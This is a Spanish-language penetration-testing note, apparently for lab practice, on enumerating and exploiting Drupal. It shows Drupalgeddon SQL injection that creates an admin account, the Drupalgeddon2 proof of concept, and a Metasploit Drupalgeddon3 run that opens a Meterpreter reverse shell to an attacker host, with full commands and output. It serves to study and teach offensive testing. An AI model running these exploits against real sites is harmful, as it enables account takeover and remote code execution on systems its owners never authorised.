Skip to content

Drupal — Discovery & Enumeration

Drupal es un CMS orientado a sitios más complejos/empresariales que WordPress o Joomla, popular en organizaciones gubernamentales y educativas. Ha tenido varias vulnerabilidades críticas de alto perfil a nivel de core (no solo módulos de terceros), conocidas colectivamente como "Drupalgeddon".

Discovery / Footprinting

Confirmar Drupal vía el meta tag Generator (con mayúscula inicial, a diferencia de WordPress/Joomla):

c
❯ curl -s http://drupal.empresacorp.local | grep Drupal

<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
      <span>Powered by <a href="https://www.drupal.org">Drupal</a></span>

Enumeración

CHANGELOG.txt en la raíz revela la versión exacta (cuando existe y es accesible — buena práctica de hardening es eliminarlo o bloquearlo):

c
❯ curl -s http://drupal-acc.empresacorp.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

Si devuelve 404, no descartar Drupal — puede estar bloqueado explícitamente o eliminado tras la instalación:

c
❯ curl -s http://drupal.empresacorp.local/CHANGELOG.txt

<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "http://drupal.empresacorp.local/CHANGELOG.txt" was not found on this server.</p></body></html>

Droopescan

c
❯ droopescan scan drupal -u http://drupal.empresacorp.local

[+] Plugins found:                                                              
    php http://drupal.empresacorp.local/modules/php/
        http://drupal.empresacorp.local/modules/php/LICENSE.txt

[+] No themes found.

[+] Possible version(s):
    8.9.0
    8.9.1

[+] Possible interesting urls found:
    Default admin - http://drupal.empresacorp.local/user/login

[+] Scan finished (0:03:19.199526 elapsed)
  • El módulo php detectado en el ejemplo (modules/php/) es especialmente relevante: es el módulo PHP Filter de Drupal, que si está habilitado permite ejecutar código PHP directamente desde el contenido de una página — un vector de RCE post-autenticación muy directo cuando está presente.

Enumeración manual de rutas administrativas comunes

c
❯ curl -s -o /dev/null -w "%{http_code}\n" http://drupal.empresacorp.local/user/login
❯ curl -s -o /dev/null -w "%{http_code}\n" http://drupal.empresacorp.local/admin/config
❯ curl -s -o /dev/null -w "%{http_code}\n" http://drupal.empresacorp.local/admin/reports/status
❯ curl -s -o /dev/null -w "%{http_code}\n" http://drupal.empresacorp.local/CHANGELOG.txt
❯ curl -s -o /dev/null -w "%{http_code}\n" http://drupal.empresacorp.local/core/CHANGELOG.txt
  • /core/CHANGELOG.txt es la ruta equivalente en instalaciones Drupal 8+ (donde el core se movió a un subdirectorio /core/), a diferencia de /CHANGELOG.txt en la raíz para Drupal 7 y anteriores.

Ataques a Drupal

Drupalgeddon (CVE-2014-3704) — SQL Injection sin autenticación en Drupal 7.0–7.31

Permite crear una cuenta de administrador directamente vía inyección SQL en el formulario de usuario, sin necesidad de credenciales previas:

c
❯ python2.7 drupalgeddon.py 

  ______                          __     _______  _______ _____    
 |   _  \ .----.--.--.-----.---.-|  |   |   _   ||   _   | _   |   
 |.  |   \|   _|  |  |  _  |  _  |  |   |___|   _|___|   |.|   |   
 |.  |    |__| |_____|   __|___._|__|      /   |___(__   `-|.  |   
 |:  1    /          |__|                 |   |  |:  1   | |:  |   
 |::.. . /                                |   |  |::.. . | |::.|   
 `------'                                 `---'  `-------' `---'   
  _______       __     ___       __            __   __             
 |   _   .-----|  |   |   .-----|__.-----.----|  |_|__.-----.-----.
 |   1___|  _  |  |   |.  |     |  |  -__|  __|   _|  |  _  |     |
 |____   |__   |__|   |.  |__|__|  |_____|____|____|__|_____|__|__|
 |:  1   |  |__|      |:  |    |___|                               
 |::.. . |            |::.|                                        
 `-------'            `---'                                        
                                                                   
                                 Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                                              Admin 4cc0unt cr3at0r

Usage: drupalgeddon.py -t http[s]://TARGET_URL -u USER -p PASS

Options:
  -h, --help            show this help message and exit
  -t TARGET, --target=TARGET
                        Insert URL: http[s]://www.victim.com
  -u USERNAME, --username=USERNAME
                        Insert username
  -p PWD, --pwd=PWD     Insert password
c
❯ python2.7 drupalgeddon.py -t http://drupal-qa.empresacorp.local -u hacker -p pwnd

<SNIP>

[!] VULNERABLE!

[!] Administrator user created!

[*] Login: hacker
[*] Pass: pwnd
[*] Url: http://drupal-qa.empresacorp.local/?q=node&destination=node
  • Una vez con la cuenta de administrador creada, el siguiente paso natural es habilitar/usar el módulo PHP Filter (si está disponible) para ejecutar código directamente, o usar el módulo de subida de archivos para cargar una webshell.

Drupalgeddon2 (CVE-2018-7600) — RCE sin autenticación en Drupal < 7.58, 8.x < 8.5.1

c
❯ python3 drupalgeddon2.py 

################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
################################################################
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://drupal-dev.empresacorp.local/

Check: http://drupal-dev.empresacorp.local/hello.txt
  • Explota una falla en la API de formularios de Drupal (Form API) que permite inyectar y ejecutar código PHP sin necesidad de ninguna cuenta previa — una de las vulnerabilidades de core más críticas en la historia reciente de Drupal, con explotación masiva documentada tras su divulgación.

Drupalgeddon3 / RCE autenticado (CVE-2018-7602) vía Metasploit

Requiere una sesión autenticada válida (cookie de sesión), pero logra RCE explotando de forma similar la Form API en un contexto post-login:

c
msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 172.16.71.10
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.empresacorp.local   
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 192.168.60.5
msf6 exploit(multi/http/drupal_drupageddon3) > show options 

Module options (exploit/multi/http/drupal_drupageddon3):

   Name            Current Setting                                                                   Required  Description
   ----            ---------------                                                                   --------  -----------
   DRUPAL_NODE     1                                                                                 yes       Exist Node Number (Page, Article, Forum topic, or a Post)
   DRUPAL_SESSION  SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y  yes       Authenticated Cookie Session
   Proxies                                                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          172.16.71.10                                                                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80                                                                                yes       The target port (TCP)
   SSL             false                                                                             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI       /                                                                                 yes       The target URI of the Drupal installation
   VHOST           drupal-acc.empresacorp.local                                                      no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.60.5     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   User register form with exec
  • drupal_session : la cookie de sesión de un usuario autenticado (por ejemplo, obtenida por fuerza bruta, XSS, o credenciales encontradas por otra vía) es requisito indispensable para esta variante.
  • DRUPAL_NODE : requiere el ID de un nodo (página/artículo) existente en el sitio, sobre el que se monta la explotación.
c
msf6 exploit(multi/http/drupal_drupageddon3) > exploit

[*] Started reverse TCP handler on 192.168.60.5:4444 
[*] Token Form -> GH5mC4x2UeKKb2Dp6Mhk4A9082u9BU_sWtEudedxLRM
[*] Token Form_build_id -> form-vjqTCj2TvVdfEiPtfbOSEF8jnyB6eEpAPOSHUR2Ebo8
[*] Sending stage (39264 bytes) to 172.16.71.10
[*] Meterpreter session 1 opened (192.168.60.5:4444 -> 172.16.71.10:44612)

meterpreter > getuid

Server username: www-data (33)

meterpreter > sysinfo

Computer    : app01
OS          : Linux app01 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux

Comandos adicionales de enumeración

Con drush (CLI oficial de Drupal), si se logra acceso a un shell del servidor previamente, permite enumerar/administrar el sitio localmente sin depender de la interfaz web:

c
❯ drush status
❯ drush user-information admin
❯ drush pm-list --status=enabled

Buscar módulos de terceros vulnerables tras identificarlos, de forma análoga a los componentes de Joomla:

c
❯ curl -s http://drupal.empresacorp.local/modules/ 
❯ searchsploit drupal

Notas de metodología

  • Confirmar la versión exacta de Drupal (7.x vs 8.x/9.x) antes de elegir el exploit — las tres variantes de Drupalgeddon afectan a rangos de versión completamente distintos y no son intercambiables.
  • Tras obtener una cuenta de administrador (por SQLi u otro medio), revisar los módulos habilitados (especialmente PHP Filter) como vía adicional/alternativa a los exploits de RCE del core, ya que puede ser más estable y menos ruidosa.